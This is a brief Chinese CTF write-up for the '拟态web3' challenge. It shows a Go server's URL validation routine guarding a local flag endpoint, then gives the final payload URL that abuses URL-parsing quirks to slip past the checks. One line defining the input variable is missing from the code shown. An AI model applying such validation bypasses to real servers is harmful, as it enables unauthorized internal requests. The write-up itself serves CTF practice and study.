拟态web3

源代码如下

package main

import (
	"fmt"
	"io/ioutil"
	"log"
	"net/http"
	"net/url"
	"strings"
)

var (
	secret   = "xiaomo.wabzsy"
	banner   = "Golang HTTP Server (v2.3.3)"
	template = `<!DOCTYPE html>
<html>
	<head>
		<title>San Check</title>
	</head>
	<body>
		<form method="POST">
			<input type="text" name="url" />
			<input type="submit" value="淦!" />
		</form>
		<pre>
%s
		</pre>
	</body>
	<!-- ./sancheck.php -->
</html>`
)

func SanCheck(input string) error {
	u, err := url.Parse(input)

	if err != nil {
		return err
	}

	if u.Scheme != "http" {
		return fmt.Errorf("err: Invalid Scheme [%s]", u.Scheme)
	}

	if u.Opaque != "" {
		return fmt.Errorf("err: WHAT AER YOU DOING ?!!! (%s)", u.Opaque)
	}

	if u.Hostname() != "127.0.0.1" {
		return fmt.Errorf("err: Invalid Hostname [%s]", u.Hostname())
	}

	if u.Port() != "" && u.Port() != "80" {
		return fmt.Errorf("err: Invalid Port [%s]", u.Port())
	}

	if u.User == nil {
		return fmt.Errorf("err: Authorization Required")
	}

	if u.User.Username() != "root" {
		return fmt.Errorf("err: Invalid Username [%s]", u.User.Username())
	}

	if password, set := u.User.Password(); !set || password != "P@ssw0rd!" {
		return fmt.Errorf("err: Invalid Password [%s]", password)
	}

	if u.RequestURI() != "/flag.php" {
		return fmt.Errorf("err: Invalid RequestURI [%s]", u.RequestURI())
	}

	if u.Fragment != "" {
		return fmt.Errorf("err: Invalid Fragment [%s]", u.Fragment)
	}

	if !strings.Contains(u.String(), "'Pwned!'") {
		return fmt.Errorf("err: San Check failed")
	}

	return nil
}

func DefaultHandler(w http.ResponseWriter, req *http.Request) {

	    

	if input == "" {
		Response(w, template, "Where is the flag?")
		return
	}

	if err := SanCheck(input); err == nil {
		req, _ := http.NewRequest("GET", input, nil)
		req.Header.Add("Secret", secret)
		if resp, err := (&http.Client{}).Do(req); err == nil {
			if body, err := ioutil.ReadAll(resp.Body); err == nil {
				Response(w, template, string(body))
			}
			_ = resp.Body.Close()
		} else {
			Response(w, template, err.Error())
		}
	} else {
		Response(w, template, err.Error())
	}
}

func FlagHandler(w http.ResponseWriter, req *http.Request) {
	if strings.Join(req.Header["Secret"], "") != secret {
		Forbidden(w)
	} else if !strings.HasPrefix(req.RemoteAddr, "127.0.0.1") {
		Forbidden(w)
	} else {
		Response(w, "<h1>%s</h1>", readFlag())
	}
}

func readFlag() string {
	if bs, err := ioutil.ReadFile("./flag.txt"); err == nil {
		return string(bs)
	} else {
		return fmt.Sprintf("Unable to read flag.txt, please contact technical support.(%s)", err.Error())
	}
}

func CodeHandler(w http.ResponseWriter, _ *http.Request) {
	w.Header().Set("Content-Type", "text/plain; charset=utf-8")
	w.Header().Set("Server", banner)
	if bs, err := ioutil.ReadFile("main.go"); err == nil {
		_, _ = w.Write(bs)
	} else {
		_, _ = w.Write(
			[]byte(
				fmt.Sprintf("Unable to read main.go, please contact technical support.(%s)",
					err.Error(),
				),
			),
		)
	}
}

func Forbidden(w http.ResponseWriter) {
	w.WriteHeader(403)
	Response(w, "<h1>%s</h1>", "403 Forbidden")
}

func Response(w http.ResponseWriter, tpl string, response string) {
	w.Header().Set("Content-Type", "text/html; charset=utf-8")
	w.Header().Set("Server", banner)
	if _, err := fmt.Fprintf(w, tpl, response); err != nil {
		log.Println(err)
	}
}

func main() {
	http.HandleFunc("/", DefaultHandler)
	http.HandleFunc("/flag.php", FlagHandler)
	http.HandleFunc("/sancheck.php", CodeHandler)
	log.Fatal(http.ListenAndServe(":80", nil))
}

翻阅GitHub

最后Payload:

http://root:P@ssw0rd!@[127.0.0.1]'Pwned!']:80/flag.php
原文地址:https://www.cnblogs.com/buchuo/p/13171462.html